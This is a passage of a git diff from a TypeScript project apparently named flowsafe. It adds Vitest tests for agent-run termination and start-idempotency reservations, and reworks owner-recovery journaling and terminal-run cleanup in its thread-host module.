sqliteUnitDatabase( + openSqlite(), + ) as import('../do-runner/start-idempotency.js').StartIdempotencyDatabase, + ); + const reserved = await reservations.reserve({ + key: 'finalizer-key', + owner: HUMAN_OWNER, + targetKind: 'agent', + targetId: 'writer', + threadId: 'acme_thread', + mintRunId: () => 'acme_run', + }); + const claim = await reservations.claimReservation(reserved.reservation); + if (!claim) throw new Error('missing finalizer claim'); + const fixture = harness(['writer'], { + runtime: { startIdempotency: reservations }, + }); + fixture.setSummary( + { + runId: 'acme_run', + status: 'suspended', + requestedBy: 'operator-1', + requestedByKind: 'human', + }, + false, + ); + mocked.stream.mockImplementation(async () => { + Object.defineProperty(fixture.scope.init.runtime, 'startIdempotency', { + value: undefined, + configurable: true, + }); + return {}; + }); + const settle = vi.spyOn(fixture.resources, 'settleReservation'); + const outcome = await fixture.host + .start(fixture.scope, { + ...C_START_INPUT, + threaded, + idempotencyKey: claim.key, + startReservation: claim, + }) + .catch((error: unknown) => error); + expect(settle).not.toHaveBeenCalled(); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toMatchObject({ + phase: 'prepared-unfenced', + startReservation: claim, + }); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + expect(fixture.alarmAt()).toBeDefined(); + expect(await reservations.readForAdmission(claim.key)).toEqual(claim); + expect(outcome).toMatchObject({ status: 503 }); + }); +}); + +describe('FS8 D3 host R1 legacy requester and source owner', () => { + it('releases the actual owner while retiring the captured canonical record after a v1 requester change', async () => { + const fixture = await hostR1AgentFixture({ provenance: 'v1' }); + fixture.snapshot.requestContext = { + ...fixture.snapshot.requestContext, + 'flowsafe.runProvenance': { + version: 1, + attemptToken: 'resumed-legacy-leg', + requestedBy: 'reviewer-3', + requestedByKind: 'human', + resumeCounts: [], + }, + }; + await fixture.persist(); + const owner = { kind: 'human' as const, id: 'source-owner' }; + await fixture.resources.release('run', 'acme_run', HUMAN_OWNER); + await fixture.resources.claim('run', 'acme_run', owner); + const release = vi.spyOn(fixture.resources, 'release'); + const response = await fixture.host.route( + hostR1AgentRequest('/terminate'), + { ...fixture.scope, principal: { ...owner, role: 'operator' } }, + ); + expect(await fixture.resources.owner('run', 'acme_run')).toBeUndefined(); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false); + expect(release).toHaveBeenCalledWith('run', 'acme_run', owner); + expect(response?.status).toBe(200); + }); +}); + +describe('FS8 D3 host R1 legacy cleanup wait guards', () => { + it.each([ + 'dispatch', + 'owner release', + 'completion', + ] as const)('retains the canonical record when a journal appears during legacy %s', async (boundary) => { + const fixture = await hostR1AgentFixture({ + provenance: 'absent', + status: 'cancelled', + lifecycle: true, + }); + const record = structuredClone(fixture.state.get(TEST_RUN_RECORD_KEY)); + const journal = { version: 1 }; + const replace = () => fixture.state.set(TEST_OWNER_RECOVERY_KEY, journal); + fixture.dispatch.mockImplementation(async () => { + if (boundary === 'dispatch') replace(); + }); + const nativeRelease = fixture.resources.release.bind(fixture.resources); + const release = vi + .spyOn(fixture.resources, 'release') + .mockImplementation(async (...args) => { + const result = await nativeRelease(...args); + if (boundary === 'owner release') replace(); + return result; + }); + const nativeComplete = fixture.app.runtime.completeTerminalCleanup.bind( + fixture.app.runtime, + ); + const complete = vi + .spyOn(fixture.app.runtime, 'completeTerminalCleanup') + .mockImplementation(async (...args) => { + const result = await nativeComplete(...args); + if (boundary === 'completion') replace(); + return result; + }); + const outcome = await fixture.host + .route(hostR1AgentRequest('/terminate'), fixture.scope) + .catch((error: unknown) => error); + expect(fixture.state.get(TEST_RUN_RECORD_KEY)).toEqual(record); + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(journal); + expect(await fixture.resources.owner('run', 'acme_run')).toEqual( + boundary === 'dispatch' ? HUMAN_OWNER : undefined, + ); + expect(fixture.dispatch).toHaveBeenCalledOnce(); + expect(release).toHaveBeenCalledTimes(boundary === 'dispatch' ? 0 : 1); + expect(complete).toHaveBeenCalledTimes(boundary === 'completion' ? 1 : 0); + expect(outcome).toBeInstanceOf(Error); + expect(doErrorResponse(outcome).status).toBe(503); + }); + + it.each([ + 'journal', + 'record', + 'binding', + 'active execution', + ] as const)('preserves ownership after approval wait changes cleanup authority (%s)', async (change) => { + const fixture = await hostR1AgentFixture({ provenance: 'absent' }); + let replacement: unknown; + fixture.approvals.list.mockImplementationOnce(async () => { + if (change === 'journal') { + replacement = { version: 1 }; + fixture.state.set(TEST_OWNER_RECOVERY_KEY, replacement); + } + if (change === 'record') { + replacement = { + ...(fixture.state.get(TEST_RUN_RECORD_KEY) as object), + principal: { ...fixture.scope.principal, role: 'admin' }, + }; + fixture.state.set(TEST_RUN_RECORD_KEY, replacement); + } + if (change === 'binding') { + replacement = { + version: 1, + agentId: 'foreign', + resourceId: RESOURCE_ID, + }; + fixture.state.set(THREAD_BINDING_KEY, replacement); + } + if (change === 'active execution') + vi.spyOn(fixture.app.runtime, 'isRunActive').mockReturnValue(true); + return []; + }); + const release = vi.spyOn(fixture.resources, 'release'); + const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup'); + const outcome = await fixture.host + .route(hostR1AgentRequest('/terminate'), fixture.scope) + .catch((error: unknown) => error); + expect(await fixture.resources.owner('run', 'acme_run')).toEqual( + HUMAN_OWNER, + ); + expect(release).not.toHaveBeenCalled(); + expect(complete).not.toHaveBeenCalled(); + expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true); + if (change === 'journal') + expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(replacement); + if (change === 'record') + expect(fixture.state.get(TEST_RUN_RECORD_KEY)).toEqual(replacement); + if (change === 'binding') + expect(fixture.state.get(THREAD_BINDING_KEY)).toEqual(replacement); + expect(fixture.approvals.list).toHaveBeenCalledOnce(); + expect(outcome).toBeInstanceOf(Error); + }); +}); diff --git a/packages/flowsafe/src/agent-host/thread-host.ts b/packages/flowsafe/src/agent-host/thread-host.ts index b49c54bb..383d64e1 100644 --- a/packages/flowsafe/src/agent-host/thread-host.ts +++ b/packages/flowsafe/src/agent-host/thread-host.ts @@ -1,11 +1,17 @@ // SPDX-License-Identifier: Apache-2.0 import type { Agent } from '@mastra/core/agent'; -import { AGENT_STREAM_TOPIC } from '@mastra/core/agent/durable'; +import { + AGENT_STREAM_TOPIC, + globalRunRegistry, +} from '@mastra/core/agent/durable'; import { Mastra } from '@mastra/core/mastra'; import type { MastraCompositeStore } from '@mastra/core/storage'; import { isPrincipalPermissions } from '@proofoftech/breakwater/rbac'; - +import type { + AuthoritativeAgentStartState, + LegacyAgentRunState, +} from '../agent-runner/durable-agent-runner.js'; import { AGENT_ENTRY_PATHS, AGENT_RUN_STORAGE_KEY_PREFIX, @@ -15,7 +21,6 @@ import { type AgentThreadBinding, bindAgentThread, createFlowsafeDurableAgent, - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, deleteAgentRunRecord, deleteAgentThreadBinding, type FlowsafeDurableAgent, @@ -43,7 +48,15 @@ import { assertExecutionPrincipal, isExecutionPrincipalId, } from '../approval-api/principal.js'; -import { normalizeMutationEpoch } from '../do-runner/execution-admission.js'; +import { + type D1RunExecutionIdentity, + ExecutionFenceUnreadableError, + normalizeD1RunExecutionIdentity, + normalizeMutationEpoch, + normalizeRunExecutionIdentity, + type RunExecutionIdentity, + RunStartPendingError, +} from '../do-runner/execution-admission.js'; import { DoStatusError, isPathSafeId, @@ -56,13 +69,32 @@ import { SUSPENSION_TIMEOUT_RESUME_KEY, type ThreadScope, } from '../do-runner/index.js'; +import { isDefinitiveInitialAdmissionRefusal } from '../do-runner/initial-admission-refusal.js'; import { mastraRegistryEntries } from '../do-runner/mastra-registry.js'; +import { + lifecycleFromRequestContext, + terminalCleanupFor, +} from '../do-runner/run-lifecycle.js'; +import { isTerminalRunStatus } from '../do-runner/run-terminal-state.js'; +import type { + RecoveredStart, + RunLifecycleTransitionResult, +} from '../do-runner/runtime.js'; +import { + captureReservation, + type StartReservationReading, + sameReservationIdentity, +} from '../do-runner/start-reservation-contract.js'; +import { persistedStartRecord } from '../host-kit/do-response.js'; import { abandonApprovalsForRun, reconcileApprovalsForSummary, } from '../host-kit/index.js'; import { createAgentModuleCatalog } from './catalog.js'; -import { AGENT_HOST_ROUTE_PREFIX } from './thread-topology.js'; +import { + AGENT_HOST_ROUTE_PREFIX, + publicAgentRunEnvelope, +} from './thread-topology.js'; import { createTrustedAgentRequestContext, deriveTrustedAgentContext, @@ -153,6 +185,7 @@ export interface ThreadAgentHostOptions { } export interface ThreadAgentStartInput { + readonly startReservation?: StartReservationReading; agentId: string; threadId: string; resourceId: string; @@ -227,10 +260,7 @@ export interface ThreadAgentHost { scope: ThreadScope, input: { agentId: string; resourceId: string; runId: string }, ): Promise; - recoverOwnership( - runtime: ThreadScope['init']['runtime'], - threadId: string, - ): Promise; + recoverOwnership(scope: AgentThreadInstanceScope): Promise; route(request: Request, scope: ThreadScope): Promise; } @@ -277,22 +307,11 @@ async function objectBody(request: Request): Promise> { return value as Record; } -const TERMINAL_RUN_STATUSES: readonly RunSummary['status'][] = [ - 'success', - 'failed', - 'tripwire', - 'canceled', - 'bailed', - 'skipped', - 'cancelled', - 'timed_out', -]; - const AGENT_OWNER_RECOVERY_PREFIX = 'flowsafe:agent-owner-recovery:v1:'; const AGENT_OWNER_RECOVERY_DELAY_MS = 60_000; -interface AgentOwnerRecovery { - version: 1; +type AgentOwnerRecovery = { + version: 2; agentId: string; threadId: string; resourceId: string; @@ -301,10 +320,58 @@ interface AgentOwnerRecovery { token: string; threaded: boolean; bindingPreexisting: boolean; + runRecord: AgentRunRecord; + startReservation?: StartReservationReading; +} & ( + | { phase: 'preparing'; execution?: never } + | { phase: 'prepared'; execution: D1RunExecutionIdentity } + | { phase: 'prepared-unfenced'; execution: RunExecutionIdentity } +); + +function sameRunRecord( + actual: AgentRunRecord | undefined, + expected: AgentRunRecord, +): boolean { + return ( + actual !== undefined && + actual.version === expected.version && + actual.agentId === expected.agentId && + actual.originEntryPath === expected.originEntryPath && + samePrincipal(actual.principal, expected.principal) + ); } -function isTerminalRunStatus(status: RunSummary['status']): boolean { - return TERMINAL_RUN_STATUSES.includes(status); +function sameOwnerRecovery( + actual: AgentOwnerRecovery, + expected: AgentOwnerRecovery, +): boolean { + const claim = actual.startReservation, + wanted = expected.startReservation; + return ( + actual.version === expected.version && + actual.phase === expected.phase && + actual.token === expected.token && + actual.agentId === expected.agentId && + actual.threadId === expected.threadId && + actual.resourceId === expected.resourceId && + actual.runId === expected.runId && + actual.owner.kind === expected.owner.kind && + actual.owner.id === expected.owner.id && + actual.threaded === expected.threaded && + actual.bindingPreexisting === expected.bindingPreexisting && + sameRunRecord(actual.runRecord, expected.runRecord) && + actual.execution?.tablePrefix === expected.execution?.tablePrefix && + actual.execution?.workflowId === expected.execution?.workflowId && + actual.execution?.runId === expected.execution?.runId && + actual.execution?.startToken === expected.execution?.startToken && + (claim === undefined + ? wanted === undefined + : wanted !== undefined && + sameReservationIdentity(claim, wanted) && + claim.state === wanted.state && + claim.updatedAt === wanted.updatedAt && + claim.binding.kind === wanted.binding.kind) + ); } function entryPath(value: unknown): AgentEntryPath { @@ -525,8 +592,11 @@ export function createThreadAgentHost( * life, so this object's answer is the only one there is. */ const startsInFlight = new Set(); + const unwoundExecutions = new WeakSet(); - const instanceScopeFor = (scope: ThreadScope): AgentThreadInstanceScope => { + const instanceScopeFor = ( + scope: AgentThreadInstanceScope, + ): AgentThreadInstanceScope => { if (stableScope) { if ( stableScope.threadId !== scope.threadId || @@ -548,7 +618,7 @@ export function createThreadAgentHost( }; const catalogFor = async ( - scope: ThreadScope, + scope: AgentThreadInstanceScope, ): Promise => { catalogPromise ??= Promise.resolve( options.buildModules(instanceScopeFor(scope)), @@ -561,7 +631,9 @@ export function createThreadAgentHost( return catalogPromise; }; - const runtimeFor = async (scope: ThreadScope) => { + const runtimeFor = async (scope: AgentThreadInstanceScope) => { + instanceScopeFor(scope); + const catalog = await catalogFor(scope); if (runtime) { if (runtime.scopeRuntime !== scope.init.runtime) { throw new Error( @@ -570,7 +642,6 @@ export function createThreadAgentHost( } return runtime; } - const catalog = await catalogFor(scope); const mastra = new Mastra({ storage: options.storage(instanceScopeFor(scope)), // Preserve ordinary key lookup, but remap Object.prototype collisions in @@ -747,31 +818,39 @@ export function createThreadAgentHost( readAgentRunRecord(options.stateStorage(), runId); const findBlockingRun = async ( - scopeRuntime: ThreadScope['init']['runtime'], + scope: AgentThreadInstanceScope, ): Promise => { const storage = options.stateStorage(); const records = await storage.list({ prefix: AGENT_RUN_STORAGE_KEY_PREFIX, }); + if (records.size === 0) return undefined; for (const key of records.keys()) { const runId = key.slice(AGENT_RUN_STORAGE_KEY_PREFIX.length); const record = await readRun(runId); if (!record) continue; - const summary = await scopeRuntime.status( - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, - runId, + if (executions.has(runId)) return { runId, principal: record.principal }; + const state = await selectedAgentState( + scope, + { + agentId: record.agentId, + resourceId: resourceIdFromKey(scope.threadId), + runId, + }, + { includeLegacy: true }, ); if ( - executions.has(runId) || - (summary !== null && !isTerminalRunStatus(summary.status)) - ) { + !state || + state.kind === 'initial' || + !isTerminalRunStatus(state.summary.status) || + (state.kind === 'legacy' && !isTerminalRunStatus(state.snapshot.status)) + ) return { runId, principal: record.principal }; - } - const recovery = await storage.get( - AGENT_OWNER_RECOVERY_PREFIX + runId, + const recovery = await storage.get(ownerRecoveryKey(runId)); + if (recovery !== undefined) return { runId, principal: record.principal }; + await withRecoveryLock(() => + finalizeTerminalRecord(scope, runId, record, state), ); - if (recovery) return { runId, principal: record.principal }; - await deleteAgentRunRecord(storage, runId); } return undefined; }; @@ -877,8 +956,16 @@ export function createThreadAgentHost( withRecoveryLock(async () => { const storage = options.stateStorage(); const key = ownerRecoveryKey(recovery.runId); - const current = await storage.get(key); - if (current?.token === recovery.token) await storage.delete(key); + const current = await storage.get(key); + if ( + current === undefined || + !sameOwnerRecovery( + validateOwnerRecovery(recovery.threadId, key, current), + recovery, + ) + ) + throw new Error('agent owner recovery changed'); + await storage.delete(key); }); const releaseEphemeralOwnerClaims = async ( @@ -902,77 +989,494 @@ export function createThreadAgentHost( ]); }; - const finalizeOwnerRecovery = ( + const validateOwnerRecovery = ( + threadId: string, + key: string, + value: unknown, + ): AgentOwnerRecovery => { + try { + const stored = persistedStartRecord(value); + if ( + stored.version !== 2 || + stored.threadId !== threadId || + !isPathSafeId(stored.agentId) || + !isPathSafeId(stored.threadId) || + !isPathSafeId(stored.resourceId) || + stored.resourceId !== resourceIdFromKey(threadId) || + !isPathSafeId(stored.runId) || + !isPathSafeId(stored.token) || + ownerRecoveryKey(stored.runId) !== key || + typeof stored.threaded !== 'boolean' || + typeof stored.bindingPreexisting !== 'boolean' + ) + throw new Error('invalid journal'); + const owner = resourceOwner(persistedStartRecord(stored.owner)); + const rawRecord = persistedStartRecord(stored.runRecord); + if (rawRecord.version !== 2 || rawRecord.agentId !== stored.agentId) + throw new Error('invalid run record'); + const runRecord: AgentRunRecord = { + version: 2, + agentId: stored.agentId, + principal: assertExecutionPrincipal( + persistedStartRecord(rawRecord.principal), + 'stored agent run', + ), + originEntryPath: entryPath(rawRecord.originEntryPath), + }; + const rawClaim = + stored.startReservation === undefined + ? undefined + : persistedStartRecord(stored.startReservation); + const claim = + rawClaim === undefined + ? undefined + : captureReservation( + { + ...rawClaim, + owner: persistedStartRecord(rawClaim.owner), + binding: persistedStartRecord(rawClaim.binding), + } as unknown as StartReservationReading, + 'started', + ); + if ( + claim && + (claim.targetKind !== 'agent' || + claim.targetId !== stored.agentId || + claim.threadId !== threadId || + claim.runId !== stored.runId || + claim.owner.kind !== runRecord.principal.kind || + claim.owner.id !== runRecord.principal.id) + ) + throw new Error('invalid start claim'); + const base = { + version: 2 as const, + agentId: stored.agentId, + threadId, + resourceId: stored.resourceId, + runId: stored.runId, + token: stored.token, + owner, + threaded: stored.threaded, + bindingPreexisting: stored.bindingPreexisting, + runRecord, + ...(claim ? { startReservation: claim } : {}), + }; + if (stored.phase === 'preparing' && !Object.hasOwn(stored, 'execution')) + return { ...base, phase: 'preparing' }; + if (stored.phase !== 'prepared' && stored.phase !== 'prepared-unfenced') + throw new Error('invalid phase'); + const raw = persistedStartRecord(stored.execution); + const execution = normalizeRunExecutionIdentity(raw); + if ( + execution.tablePrefix !== raw.tablePrefix || + execution.runId !== stored.runId + ) + throw new Error('invalid execution'); + return stored.phase === 'prepared' + ? { + ...base, + phase: 'prepared', + execution: normalizeD1RunExecutionIdentity(execution), + } + : { ...base, phase: 'prepared-unfenced', execution }; + } catch { + throw new Error('stored agent owner recovery is malformed'); + } + }; + + const prepareOwnerRecovery = async ( + scope: AgentThreadInstanceScope, recovery: AgentOwnerRecovery, - summary: RunSummary, - ): Promise => - withRecoveryLock(async () => { - const storage = options.stateStorage(); - await options.resourceAccess().settleReservation(recovery.token, []); - if (!recovery.threaded && !isTerminalRunStatus(summary.status)) { - await ensureOwnerRecoveryAlarm(storage); - return; - } - if (!recovery.threaded) { - await releaseEphemeralOwnerClaims(recovery); + supplied: RunExecutionIdentity, + ): Promise => { + const identity = normalizeRunExecutionIdentity(supplied); + const currentRuntime = await runtimeFor(scope); + const durable = currentRuntime.agents.get(recovery.agentId); + if ( + !durable || + identity.workflowId !== durable.getWorkflow().id || + identity.runId !== recovery.runId + ) + throw new Error('prepared agent identity mismatch'); + const prepared: AgentOwnerRecovery = scope.init.runtime.executionFence + ? { + ...recovery, + phase: 'prepared', + execution: normalizeD1RunExecutionIdentity(identity), + } + : { ...recovery, phase: 'prepared-unfenced', execution: identity }; + return withRecoveryLock(async () => { + const storage = options.stateStorage(), + key = ownerRecoveryKey(recovery.runId); + const current = validateOwnerRecovery( + scope.threadId, + key, + await storage.get(key), + ); + if (sameOwnerRecovery(current, prepared)) return prepared; + if ( + current.phase !== 'preparing' || + !sameOwnerRecovery(current, recovery) + ) + throw new Error('agent owner recovery changed'); + try { + await storage.put(key, prepared); + } catch (error) { + const reread = await storage.get(key); + if ( + reread === undefined || + !sameOwnerRecovery( + validateOwnerRecovery(scope.threadId, key, reread), + prepared, + ) + ) + throw error; } - const key = ownerRecoveryKey(recovery.runId); - const current = await storage.get(key); - if (current?.token === recovery.token) await storage.delete(key); + return prepared; }); + }; + + const workflowIdFor = async ( + scope: AgentThreadInstanceScope, + agentId: string, + ): Promise => { + const current = await runtimeFor(scope); + const durable = current.agents.get(agentId); + if (!durable) throw new AgentHostRequestError(404, 'agent not found'); + return durable.getWorkflow().id; + }; - const finalizeOwnerRecoveryBestEffort = async ( + type NormalAgentRunState = AuthoritativeAgentStartState | LegacyAgentRunState; + + async function selectedAgentState( + scope: AgentThreadInstanceScope, + ref: { agentId: string; resourceId: string; runId: string }, + readOptions: { readonly includeLegacy: true }, + ): Promise; + async function selectedAgentState( + scope: AgentThreadInstanceScope, + ref: { agentId: string; resourceId: string; runId: string }, + ): Promise; + async function selectedAgentState( + scope: AgentThreadInstanceScope, + ref: { agentId: string; resourceId: string; runId: string }, + readOptions?: { readonly includeLegacy: true }, + ): Promise { + const includeLegacy = readOptions?.includeLegacy === true; + if (ref.resourceId !== resourceIdFromKey(scope.threadId)) + throw new AgentHostRequestError(404, 'run not found'); + const current = await runtimeFor(scope); + const durable = current.agents.get(ref.agentId); + if (!current.catalog.get(ref.agentId) || !durable) + throw new AgentHostRequestError(404, 'agent not found'); + if (includeLegacy) + return durable.authoritativeAgentStartState( + scope.init.runtime, + scope.threadId, + ref.runId, + { includeLegacy: true }, + ); + return durable.authoritativeAgentStartState( + scope.init.runtime, + scope.threadId, + ref.runId, + ); + } + + const matchRecoveryState = ( + recovery: AgentOwnerRecovery, + state: AuthoritativeAgentStartState | null, + ): AuthoritativeAgentStartState => { + const expected = recovery.execution; + if ( + !state || + !expected || + state.execution.tablePrefix !== expected.tablePrefix || + state.execution.workflowId !== expected.workflowId || + state.execution.runId !== expected.runId || + state.execution.startToken !== expected.startToken || + state.threaded !== recovery.threaded || + state.execution.target.kind !== 'agent' || + state.execution.target.id !== recovery.agentId || + state.execution.target.threadId !== recovery.threadId || + state.execution.owner.kind !== recovery.runRecord.principal.kind || + state.execution.owner.id !== recovery.runRecord.principal.id + ) + throw new Error('agent owner recovery does not match the execution'); + return state; + }; + + const assertRecoveryCurrent = async ( recovery: AgentOwnerRecovery, - summary: RunSummary, ): Promise => { - try { - await finalizeOwnerRecovery(recovery, summary); - } catch (error) { - console.error('agent owner recovery cleanup failed', error); - try { - await withRecoveryLock(() => - ensureOwnerRecoveryAlarm(options.stateStorage()), - ); - } catch (alarmError) { - console.error('agent owner recovery rearm failed', alarmError); - } - } + const key = ownerRecoveryKey(recovery.runId), + current = await options.stateStorage().get(key); + if ( + current === undefined || + !sameOwnerRecovery( + validateOwnerRecovery(recovery.threadId, key, current), + recovery, + ) + ) + throw new Error('agent owner recovery changed'); }; - const validateOwnerRecovery = ( - threadId: string, - key: string, - stored: AgentOwnerRecovery, - ): void => { + const assertLegacyTerminalCurrent = async ( + scope: AgentThreadInstanceScope, + ref: { agentId: string; resourceId: string; runId: string }, + state: LegacyAgentRunState, + expectedRecord: AgentRunRecord | undefined, + ): Promise => { if ( - stored?.version !== 1 || - stored.threadId !== threadId || - !isPathSafeId(stored.agentId) || - !isPathSafeId(stored.resourceId) || - !isPathSafeId(stored.runId) || - !isPathSafeId(stored.token) || - ownerRecoveryKey(stored.runId) !== key || - typeof stored.threaded !== 'boolean' || - typeof stored.bindingPreexisting !== 'boolean' - ) { - throw new Error('stored agent owner recovery is malformed'); - } - resourceOwner(stored.owner); + !isTerminalRunStatus(state.snapshot.status) || + !isTerminalRunStatus(state.summary.status) || + state.address.runId !== ref.runId || + record(state.snapshot.context?.input)?.agentId !== ref.agentId + ) + throw new ExecutionFenceUnreadableError( + 'legacy run cleanup is unresolved', + ); + const quiescent = () => + !executions.has(ref.runId) && + !scope.init.runtime.isRunActive(state.address.workflowId, ref.runId); + if (!quiescent()) throw new RunStartPendingError(); + const [binding, current, journal] = await Promise.all([ + readBinding(), + readRun(ref.runId), + options.stateStorage().get(ownerRecoveryKey(ref.runId)), + ]); + if (journal !== undefined) + throw new ExecutionFenceUnreadableError( + 'legacy run cleanup is unresolved', + ); + const bindingMatches = + binding?.agentId === ref.agentId && binding.resourceId === ref.resourceId; + if ((state.threaded && !bindingMatches) || (!state.threaded && binding)) + throw new AgentHostRequestError(404, 'run not found'); + if ( + current !== undefined && + (expectedRecord === undefined || !sameRunRecord(current, expectedRecord)) + ) + throw new Error('agent run record changed'); + if (!quiescent()) throw new RunStartPendingError(); }; - const finalizeTerminalAgentState = async ( - threadId: string, + const finalizeTerminalRecord = async ( + scope: AgentThreadInstanceScope, runId: string, + expected: AgentRunRecord, + state: NormalAgentRunState, + ownFrame?: TrustedAgentExecution, + ): Promise => { + if (state.kind === 'initial' || !isTerminalRunStatus(state.summary.status)) + throw new RunStartPendingError(); + if (state.kind === 'legacy') { + const ref = { + agentId: expected.agentId, + resourceId: resourceIdFromKey(scope.threadId), + runId, + }; + await assertLegacyTerminalCurrent(scope, ref, state, expected); + const current = await readRun(runId); + if (current !== undefined && !sameRunRecord(current, expected)) + throw new Error('agent run record changed'); + await assertLegacyTerminalCurrent(scope, ref, state, expected); + if (current) await deleteAgentRunRecord(options.stateStorage(), runId); + return; + } + if ( + state.execution.target.kind !== 'agent' || + state.execution.target.id !== expected.agentId || + state.execution.target.threadId !== scope.threadId || + state.execution.owner.kind !== expected.principal.kind || + state.execution.owner.id !== expected.principal.id + ) + throw new ExecutionFenceUnreadableError( + 'run start recovery is unresolved', + ); + const quiescent = (): boolean => { + const active = executions.get(runId); + return ( + (active === undefined || + (active === ownFrame && unwoundExecutions.has(active))) && + !scope.init.runtime.isRunActive(state.execution.workflowId, runId) + ); + }; + if (!quiescent()) throw new RunStartPendingError(); + await scope.init.runtime.settleStartExecution(state); + const current = await readRun(runId); + if (current !== undefined && !sameRunRecord(current, expected)) + throw new Error('agent run record changed'); + if (!quiescent()) throw new RunStartPendingError(); + if (current) await deleteAgentRunRecord(options.stateStorage(), runId); + }; + + const finalizeJournalBookkeeping = async ( + recovery: AgentOwnerRecovery, summary: RunSummary, + ): Promise => { + await assertRecoveryCurrent(recovery); + if (!recovery.threaded && !isTerminalRunStatus(summary.status)) { + await ensureOwnerRecoveryAlarm(options.stateStorage()); + return false; + } + if (!recovery.threaded) await releaseEphemeralOwnerClaims(recovery); + if (isTerminalRunStatus(summary.status)) { + const current = await readRun(recovery.runId); + if (current !== undefined && !sameRunRecord(current, recovery.runRecord)) + throw new Error('agent run record changed'); + if (current) + await deleteAgentRunRecord(options.stateStorage(), recovery.runId); + } + return true; + }; + + const finishLifecycle = async ( + scope: AgentThreadInstanceScope, + recovery: AgentOwnerRecovery, + transition: RunLifecycleTransitionResult, + ): Promise => { + await assertRecoveryCurrent(recovery); + const workflowId = recovery.execution?.workflowId; + if (!workflowId) throw new Error('agent recovery has no execution'); + await options.resourceAccess().settleReservation(recovery.token, []); + await assertRecoveryCurrent(recovery); + if (!transition.cleanup.cleanupCompleted) { + await abandonApprovalsForRun( + options.approvalService(scope), + workflowId, + recovery.runId, + transition.cleanup.status, + systemPrincipalId, + ); + const dispatch = transition.cleanup.scheduleDispatch; + if (dispatch) { + if (!options.discardScheduleDispatch) + throw new Error( + 'scheduled agent termination requires a dispatch-discard hook', + ); + await options.discardScheduleDispatch( + dispatch.scheduleId, + dispatch.dispatchId, + recovery.runId, + ); + } + const ownership = options.resourceAccess(); + if ( + !(await ownership.release('run', recovery.runId, recovery.owner)) && + (await ownership.owner('run', recovery.runId)) + ) + throw new Error('run ownership could not be released'); + } + await finalizeJournalBookkeeping(recovery, transition.summary); + return transition.cleanup.cleanupCompleted + ? transition.summary + : scope.init.runtime.completeTerminalCleanup( + workflowId, + recovery.runId, + transition.cleanup.revision, + ); + }; + + const finalizeOwnerRecovery = async ( + scope: AgentThreadInstanceScope, + recovery: AgentOwnerRecovery, + state: AuthoritativeAgentStartState, + ownFrame?: TrustedAgentExecution, + ): Promise => + withBindingLock(async () => { + if (recovery.startReservation && !scope.init.runtime.startIdempotency) + throw new ExecutionFenceUnreadableError( + 'run start recovery is unresolved', + ); + const active = executions.get(recovery.runId); + if ( + (active !== undefined && + (active !== ownFrame || !unwoundExecutions.has(active))) || + scope.init.runtime.isRunActive( + state.execution.workflowId, + recovery.runId, + ) + ) + throw new RunStartPendingError(); + await assertRecoveryCurrent(recovery); + const selected = matchRecoveryState(recovery, state); + if (selected.kind === 'initial') throw new RunStartPendingError(); + if (isTerminalRunStatus(selected.summary.status)) + await scope.init.runtime.settleStartExecution( + selected, + recovery.startReservation, + ); + const cleanup = terminalCleanupFor( + lifecycleFromRequestContext(selected.snapshot.requestContext), + ); + let summary = selected.summary; + const clear = await withRecoveryLock(async () => { + await assertRecoveryCurrent(recovery); + if (cleanup) { + summary = await finishLifecycle(scope, recovery, { + summary, + transitioned: false, + casMatched: true, + cleanup, + }); + return true; + } + await options.resourceAccess().settleReservation(recovery.token, []); + return finalizeJournalBookkeeping(recovery, summary); + }); + if (clear) await clearOwnerRecovery(recovery); + return summary; + }); + + const finalizeTerminalAgentState = async ( + scope: AgentThreadInstanceScope, + ref: { agentId: string; resourceId: string; runId: string }, + state: NormalAgentRunState | undefined, + expectedRecord: AgentRunRecord | undefined, ): Promise => { - const storage = options.stateStorage(); - const key = ownerRecoveryKey(runId); - const recovery = await storage.get(key); - if (recovery) { - validateOwnerRecovery(threadId, key, recovery); - await finalizeOwnerRecovery(recovery, summary); + const selected = + state ?? (await selectedAgentState(scope, ref, { includeLegacy: true })); + if ( + !selected || + selected.kind === 'initial' || + !isTerminalRunStatus(selected.summary.status) + ) + throw new RunStartPendingError(); + const stored = await options + .stateStorage() + .get(ownerRecoveryKey(ref.runId)); + if (stored !== undefined) { + if (selected.kind === 'legacy') + throw new ExecutionFenceUnreadableError( + 'legacy run cleanup is unresolved', + ); + const recovery = validateOwnerRecovery( + scope.threadId, + ownerRecoveryKey(ref.runId), + stored, + ); + await finalizeOwnerRecovery(scope, recovery, selected); + return; } - await deleteAgentRunRecord(storage, runId); + await withBindingLock(() => + withRecoveryLock(async () => { + if (expectedRecord) + await finalizeTerminalRecord( + scope, + ref.runId, + expectedRecord, + selected, + ); + else if (selected.kind === 'legacy') + await assertLegacyTerminalCurrent(scope, ref, selected, undefined); + else { + if ((await readRun(ref.runId)) !== undefined) + throw new Error('agent run record changed'); + await scope.init.runtime.settleStartExecution(selected); + } + }), + ); }; const withExecution = async ( @@ -989,7 +1493,8 @@ export function createThreadAgentHost( try { return await operation(); } finally { - executions.delete(execution.runId); + if (executions.get(execution.runId) === execution) + executions.delete(execution.runId); } }; @@ -1030,7 +1535,7 @@ export function createThreadAgentHost( const service = options.approvalService(instanceScopeFor(scope)); await reconcileApprovalsForSummary( service, - DURABLE_AGENTIC_LOOP_WORKFLOW_ID, + await workflowIdFor(scope, agentId), summary, systemPrincipalId, { @@ -1044,7 +1549,7 @@ export function createThreadAgentHost( ); const records = await service.list( { - workflowId: DURABLE_AGENTIC_LOOP_WORKFLOW_ID, + workflowId: await workflowIdFor(scope, agentId), runId: summary.runId, }, principalActor(systemPrincipal()), @@ -1109,194 +1614,222 @@ export function createThreadAgentHost( const snapshotExecutionFor = async ( scope: ThreadScope, - ref: { - agentId: string; - resourceId: string; - runId: string; - }, - ): Promise<{ - threaded: boolean; - safeContext: Record; - }> => { - const workflows = await options - .storage(instanceScopeFor(scope)) - .getStore('workflows'); - const snapshot = await workflows?.loadWorkflowSnapshot({ - workflowName: 